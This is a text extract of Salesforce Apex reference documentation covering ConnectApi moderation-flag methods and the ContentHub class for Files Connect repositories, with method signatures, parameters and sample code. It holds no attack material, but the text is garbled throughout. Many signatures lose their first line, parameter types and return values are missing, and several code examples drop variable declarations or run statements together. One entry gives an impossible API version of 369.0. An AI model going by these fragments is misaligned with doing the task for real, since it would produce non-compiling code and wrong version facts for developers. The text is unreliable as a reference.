Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate Communities
Feeds permission.
API Version
31.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
feedElementId
Type: String
visibility
1336
element or item.
Return Value
getFlagsOnFeedElement(communityId, feedElementId, pageParam, pageSize)

Get a page of moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds
permission.
API Version
40.0
Requires Chatter
Yes
Signature
String feedElementId, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
feedElementId
Type: String
pageParam
Type: String
pageSize
Type: Integer
Return Value
1337
getFlagsOnFeedElement(communityId, feedElementId, visibility, pageSize, pageParam)

Get a page of moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
API Version
40.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagVisibility visibility, Integer pageSize,
String pageParam)
Parameters
communityId
Type: String
feedElementId
Type: String
visibility
element or item.
pageSize
Type: Integer
pageParam
Type: String
Return Value
1338
getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the Moderate Communities Feeds permission.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFlagsOnFeedElement(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
Return Value
getFlagsOnFeedItem(communityId, feedItemId, visibility)

Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the Moderate Communities
Feeds permission.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFlagsOnFeedElement(communityId, feedElementId, visibility).
Requires Chatter
Yes
1339
Signature
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String
feedItemId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
feedItemId
Type: String
visibility
element or item.
Return Value
removeFlagFromComment(communityId, commentId, userId)

Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must have
the Moderate Communities Feeds permission.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags removeFlagFromComment(String communityId,
String commentId, String userId)
Parameters
communityId
Type: String
1340
commentId
Type: String
userId
Type: String
The ID for a user.
Return Value
Type: Void
removeFlagFromFeedElement(communityId, feedElementId, userId)

Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag or
must have the Moderate Communities Feeds permission.
API Version
31.0
Requires Chatter
Yes
Signature
public static void removeFlagFromFeedElement(String communityId, String feedElementId,
String userId)
Parameters
communityId
Type: String
feedElementId
Type: String
userId
Type: String
The ID for a user.
Return Value
1341
removeFlagsOnFeedItem(communityId, feedItemId, userId)

Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must have
the Moderate Communities Feeds permission.
API Version
29.0–31.0
Important: In version 32.0 and later, use removeFlagFromFeedElement(communityId, feedElementId, userId).
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags removeFlagsOnFeedItem(String communityId,
String feedItemId, String userId)
Parameters
communityId
Type: String
feedItemId
Type: String
userId
Type: String
The ID for a user.
Return Value
Type: Void
ContentHub Class
Access Files Connect repositories and their files and folders.
Namespace
ConnectApi
ContentHub Methods
The following are methods for ContentHub. All methods are static.
Use ContentHub methods to work with Files Connect repositories.
1342
IN THIS SECTION:
addRepositoryItem(repositoryId, repositoryFolderId, file)
Add a repository item.
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)
Add a repository item in a community.
addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file.
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file, in a community.
getAllowedItemTypes(repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder.
getAllowedItemTypes(repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder.
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder in a community.
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder in a community.
getFilePreview(repositoryId, repositoryFileId, formatType)
Get a repository file preview.
getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
Get a page or page range of a repository file preview.
getFilePreview(communityId, repositoryId, repositoryFileId, formatType)
Get a repository file preview in a community.
getFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
Get a page or page range of a repository file preview in a community.
getItemType(repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository.
getItemType(communityId, repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository in a community.
getPreviews(repositoryId, repositoryFileId)
Get information about a repository file’s supported previews.
getPreviews(communityId, repositoryId, repositoryFileId)
Get information about a repository file’s supported previews in a community.
getRepositories()
Get a list of repositories.
getRepositories(communityId)
Get a list of repositories in a community.
getRepositories(pageParam, pageSize)
Get a page of repositories.
1343
getRepositories(communityId, pageParam, pageSize)

Get a page of repositories in a community.
getRepository(repositoryId)
Get a repository.
getRepository(communityId, repositoryId)
Get a repository in a community.
getRepositoryFile(repositoryId, repositoryFileId)
Get a repository file.
getRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information.
getRepositoryFile(communityId, repositoryId, repositoryFileId)
Get a repository file in a community.
getRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information in a community.
getRepositoryFolder(repositoryId, repositoryFolderId)
Get a repository folder.
getRepositoryFolder(communityId, repositoryId, repositoryFolderId)
Get a repository folder in a community.
getRepositoryFolderItems(repositoryId, repositoryFolderId)
Get repository folder items.
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId)
Get repository folder items in a community.
getRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items.
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items in a community.
updateRepositoryFile(repositoryId, repositoryFileId, file)
Update the metadata of a repository file.
updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file.
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file)
Update the metadata of a repository file in a community.
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file in a community.

Add a repository item.
API Version
39.0
1344
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemInput file)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
Return Value
Type: ConnectApi.RepositoryFolderItem
Usage
Example
This example creates a file without binary content (metadata only) in a repository folder. After the file is created, we show the file’s ID,
name, description, external URL, and download URL.

for creation/update

fieldValueInput.value = 'new folder item name.txt';
1345


ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
SEE ALSO:
setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, result)

Add a repository item in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String communityId,
String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
file
1346
Return Value
Usage
SEE ALSO:
setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, result)

Add a repository item, including the binary file.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
file
fileData
The binary file.
1347
Return Value
Usage
Example
This example creates a file with binary content and metadata in a repository folder. After the file is created, we show the file’s ID, name,
description, external URL, and download URL.

for creation/update

Final String newFileName = 'new folder item name.txt';
fieldValueInput.value = newFileName;

//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);

ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem,
fileBinaryInput);
1348

SEE ALSO:
setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, fileData, result)

Add a repository item, including the binary file, in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String communityId,
String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file,
ConnectApi.BinaryInput fileData)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
file
fileData
The binary file.
Return Value
1349
Usage
SEE ALSO:
setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData, result)
Get the item types that the context user is allowed to create in the repository folder.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String
repositoryId, String repositoryFolderId)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection
Usage
SEE ALSO:
setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, result)
1350

Get the item types, filtered by type, that the context user is allowed to create in the repository folder.
API Version
39.0
Requires Chatter
No
Signature
repositoryId, String repositoryFolderId, ConnectApi.ConnectContentHubItemType filter)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
filter
Type: ConnectApi.ContentHubItemType
Specifies the item types. Values are:
• Any—Includes files and folders.
• FilesOnly—Includes files only.
• FoldersOnly—Includes folders only.
Return Value
Usage
Example
This example calls getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly) to get the first ConnectApi.ContentHubItemTypeSummary.id
of a file. The context user can create allowed files in a repository folder in the external system.
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl =
ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId,
1351
ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes =
allowedItemTypesColl.allowedItemTypes;
string allowedFileItemTypeId = null;
if(allowedItemTypes.size() > 0){
ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);
allowedFileItemTypeId = allowedItemTypeSummary.id;
}
SEE ALSO:
setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, filter, result)

Get the item types that the context user is allowed to create in the repository folder in a community.
API Version
39.0
Requires Chatter
No
Signature
communityId, String repositoryId, String repositoryFolderId)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
Return Value
1352
Usage
SEE ALSO:
setTestGetAllowedItemTypes(communityId, repositoryId, repositoryFolderId, result)

Get the item types, filtered by type, that the context user is allowed to create in the repository folder in a community.
API Version
39.0
Requires Chatter
No
Signature
communityId, String repositoryId, String repositoryFolderId,
ConnectApi.ConnectContentHubItemType filter)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
filter
1353
Return Value
Usage
SEE ALSO:
setTestGetAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter, result)

Get a repository file preview.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewFormat formatType)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
The ID of the repository file.
formatType
Type: ConnectApi.FilePreviewFormat
Specifies the format of the file preview. Values are:
• Pdf—Preview format is PDF.
• Svg—Preview format is compressed SVG.
• Thumbnail—Preview format is 240 x 180 PNG.
• ThumbnailBig—Preview format is 720 x 480 PNG.
• ThumbnailTiny—Preview format is 120 x 90 PNG.
PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.
1354
Return Value
Type: ConnectApi.FilePreview
Usage
Example
This example calls getFilePreview(repositoryId, repositoryFileId,
ConnectApi.FilePreviewFormat.Thumbnail) to get the thumbnail format preview along with its respective URL and
number of thumbnail renditions. For each thumbnail format, we show every rendition URL available.
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';final ConnectApi.FilePreview
filePreview =
ConnectApi.ContentHub.getFilePreview(gDriveRepositoryId, gDriveFileId,
ConnectApi.FilePreviewFormat.Thumbnail);System.debug(String.format('Preview - URL:
\'\'{0}\'\', format: \'\'{1}\'\', nbr of
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));for(ConnectApi.FilePreviewUrl
filePreviewUrl : filePreview.previewUrls){
}
SEE ALSO:
setTestGetFilePreview(repositoryId, repositoryFileId, formatType, result)
getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber,

endPageNumber)
Get a page or page range of a repository file preview.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber,
Integer endPageNumber)
1355
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
formatType
startPageNumber
Type: Integer
The starting page number in the range of file preview URLs.
endPageNumber
Type: Integer
The ending page number in the range of file preview URLs.
Return Value
Usage
SEE ALSO:
setTestGetFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber, result)

Get a repository file preview in a community.
API Version
39.0
1356
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String communityId, String
repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
formatType
Return Value
Usage
SEE ALSO:
setTestGetFilePreview(communityId, repositoryId, repositoryFileId, formatType, result)
1357
getFilePreview(communityId, repositoryId, repositoryFileId, formatType,

startPageNumber, endPageNumber)
Get a page or page range of a repository file preview in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreview getFilePreview(String communityId, String
repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer
startPageNumber, Integer endPageNumber)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
formatType
startPageNumber
Type: Integer
endPageNumber
Type: Integer
1358
Return Value
Usage
SEE ALSO:
setTestGetFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber, result)
Get information about an item type associated with a repository.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubItemTypeDetail getItemType(String repositoryId,
String repositoryItemTypeId)
Parameters
repositoryId
Type: String
repositoryItemTypeId
Type: String
The ID of the repository item type.
Return Value
Type: ConnectApi.ContentHubItemTypeDetail
1359
Usage
SEE ALSO:
setTestGetItemType(repositoryId, repositoryItemTypeId, result)

Get information about an item type associated with a repository in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubItemTypeDetail getItemType(String communityId, String
repositoryId, String repositoryItemTypeId)
Parameters
communityId
Type: String
repositoryId
Type: String
Type: String
Return Value
1360
Usage
SEE ALSO:
setTestGetItemType(communityId, repositoryId, repositoryItemTypeId, result)
Get information about a repository file’s supported previews.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreviewCollection getPreviews(String repositoryId, String
repositoryFileId)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
Return Value
Type: ConnectApi.FilePreviewCollection
Usage
1361
Example
This example gets all supported preview formats and their respective URLs and number of renditions. For each supported preview format,
we show every rendition URL available.
}
}
SEE ALSO:
setTestGetPreviews(repositoryId, repositoryFileId, result)

Get information about a repository file’s supported previews in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.FilePreviewCollection getPreviews(String communityId, String
repositoryId, String repositoryFileId)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
1362
Return Value
Usage
SEE ALSO:
setTestGetPreviews(communityId, repositoryId, repositoryFileId, result)
getRepositories()
Get a list of repositories.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories()
Return Value
Type: ConnectApi.ContentHubRepositoryCollection
Usage
Example
This example gets all repositories and gets the first SharePoint online repository found.
final string sharePointOnlineProviderType ='ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
sharePointOnlineRepository = repository;
1363
break;
}
}
SEE ALSO:
setTestGetRepositories(result)
Get a list of repositories in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(String
communityId)
Parameters
communityId
Type: String
Return Value
Usage
SEE ALSO:
setTestGetRepositories(communityId, result)
Get a page of repositories.
1364
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(Integer
Parameters
pageParam
Type: Integer
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.
Return Value
Usage
SEE ALSO:
setTestGetRepositories(pageParam, pageSize, result)

Get a page of repositories in a community.
API Version
39.0
Requires Chatter
No
1365
Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(String
communityId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestGetRepositories(communityId, pageParam, pageSize, result)
Get a repository.
API Version
369.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepository getRepository(String repositoryId)
1366
Parameters
repositoryId
Type: String
Return Value
Type: ConnectApi.ContentHubRepository
Usage
Example
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
SEE ALSO:
setTestGetRepository(repositoryId, result)
Get a repository in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ContentHubRepository getRepository(String communityId, String
repositoryId)
Parameters
communityId
Type: String
repositoryId
Type: String
1367
Return Value
Usage
SEE ALSO:
setTestGetRepository(communityId, repositoryId, result)
Get a repository file.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String repositoryId,
String repositoryFileId)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
Return Value
Type: ConnectApi.RepositoryFileDetail
Usage
1368
Example
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
download URL: \'\'{3}\'\'',
new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
SEE ALSO:
setTestGetRepositoryFile(repositoryId, repositoryFileId, result)

Get a repository file with or without permissions information.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String repositoryId,
String repositoryFileId, Boolean includeExternalFilePermissionsInfo)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
includeExternalFilePermissionsInfo
Type: Boolean
Specifies whether to include permission information, such as whether the file is shared and what are the available permission types.
Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.
Return Value
1369
Usage
Example

ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
download URL: \'\'{3}\'\'', new String[]{ file.name, String.valueOf(file.contentSize),
file.externalDocumentUrl, file.downloadUrl}));
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo =
file.externalFilePermissionInformation;
//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
System.debug(String.format('Permission type - id: \'\'{0}\'\', label: \'\'{1}\'\'', new
String[]{ permissionType.id, permissionType.label}));
}
//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
System.debug(String.format('Group - id: \'\'{0}\'\', name: \'\'{1}\'\', type:
\'\'{2}\'\'', new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
SEE ALSO:
setTestGetRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo, result)

Get a repository file in a community.
API Version
39.0
Requires Chatter
No
1370
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String communityId,
String repositoryId, String repositoryFileId)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
Return Value
Usage
SEE ALSO:
setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId, result)
getRepositoryFile(communityId, repositoryId, repositoryFileId,

includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, Boolean includeExternalFilePermissionsInfo)
1371
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
Type: Boolean
Return Value
Usage
SEE ALSO:
setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo, result)
Get a repository folder.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderDetail getRepositoryFolder(String repositoryId,
String repositoryFolderId)
1372
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
Return Value
Type: ConnectApi.RepositoryFolderDetail
Usage
Example
final ConnectApi.RepositoryFolderDetail folder =
ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \'\'{0}\'\', description: \'\'{1}\'\', external
URL: \'\'{2}\'\', folder items URL: \'\'{3}\'\'',
new String[]{ folder.name, folder.description, folder.externalFolderUrl,
folder.folderItemsUrl}));
SEE ALSO:
setTestGetRepositoryFolder(repositoryId, repositoryFolderId, result)

Get a repository folder in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderDetail getRepositoryFolder(String communityId,
String repositoryId, String repositoryFolderId)
1373
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
Return Value
Usage
SEE ALSO:
setTestGetRepositoryFolder(communityId, repositoryId, repositoryFolderId, result)
Get repository folder items.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String
repositoryId, String repositoryFolderId)
Parameters
repositoryId
Type: String
1374
repositoryFolderId
Type: String
Return Value
Type: ConnectApi.RepositoryFolderItemsCollection
Usage
Example
This example gets the collection of items in a repository folder. For files, we show the file’s name, size, external URL, and download URL.
For folders, we show the folder’s name, description, and external URL.
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl =
ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for(ConnectApi.RepositoryFolderItem item : folderItems){
ConnectApi.RepositoryFileSummary fileSummary = item.file;
if(fileSummary != null){
System.debug(String.format('File item - name: \'\'{0}\'\', size: {1}, external URL:
\'\'{2}\'\', download URL: \'\'{3}\'\'', new String[]{ fileSummary.name,
String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl,
fileSummary.downloadUrl}));
}else{
ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
System.debug(String.format('Folder item - name: \'\'{0}\'\', description:
\'\'{1}\'\'', new String[]{ folderSummary.name, folderSummary.description}));
}
}
SEE ALSO:
setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, result)

Get repository folder items in a community.
API Version
39.0
1375
Requires Chatter
No
Signature
communityId, String repositoryId, String repositoryFolderId)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
Return Value
Usage
SEE ALSO:
setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, result)

Get a page of repository folder items.
API Version
39.0
Requires Chatter
No
1376
Signature
repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize, result)
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam,

pageSize)
Get a page of repository folder items in a community.
API Version
39.0
Requires Chatter
No
1377
Signature
communityId, String repositoryId, String repositoryFolderId, Integer pageParam, Integer
pageSize)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize, result)

Update the metadata of a repository file.
API Version
39.0
1378
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
file
Return Value
Usage
Example
This example updates the metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description, external
URL, download URL.

for creation/update

1379


SEE ALSO:
setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData, result)

Update the content of a repository file.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
file
1380
fileData
The binary file.
Return Value
Usage
Example
This example updates the content and metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description,
external URL, and download URL.

for creation/update


//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);

1381

SEE ALSO:
setTestUpdateRepositoryFile(repositoryId, repositoryFileId, file, result)

Update the metadata of a repository file in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
file
Return Value
1382
Usage
SEE ALSO:
setTestUpdateRepositoryFile(repositoryId, repositoryFileId, file, fileData, result)

Update the content of a repository file in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file,
ConnectApi.BinaryInput fileData)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
file
fileData
The binary file.
1383
Return Value
Usage
SEE ALSO:
setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file, result)
ContentHub Test Methods

The following are the test methods for ContentHub. All methods are static.
setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, result)

Registers a ConnectApi.RepositoryFolderItem object to be returned when the matching
addRepositoryItem(repositoryId, repositoryFolderId, file) method is called in a test context. Use the
method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestAddRepositoryItem(String repositoryId, String
repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.RepositoryFolderItem
result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
file
result
1384
Return Value
Type: Void
SEE ALSO:
setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, result)

addRepositoryItem(communityId, repositoryId, repositoryFolderId, file) method is called in a
test context. Use the method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestAddRepositoryItem(String communityId, String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemInput file,
ConnectApi.RepositoryFolderItem result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
file
result
1385
Return Value
Type: Void
SEE ALSO:
setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, fileData, result)

addRepositoryItem(repositoryId, repositoryFolderId, file, fileData) method is called in a test
context. Use the method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestAddRepositoryItem(String repositoryId, String
repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData,
ConnectApi.RepositoryFolderItem result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
file
fileData
The binary file.
result
1386
Return Value
Type: Void
SEE ALSO:
setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file,

fileData, result)
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData) method
is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestAddRepositoryItem(String communityId, String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData, ConnectApi.RepositoryFolderItem result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
file
fileData
The binary file.
result
1387
Return Value
Type: Void
SEE ALSO:
setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, result)

Registers a ConnectApi.ContentHubAllowedItemTypeCollection object to be returned when the matching
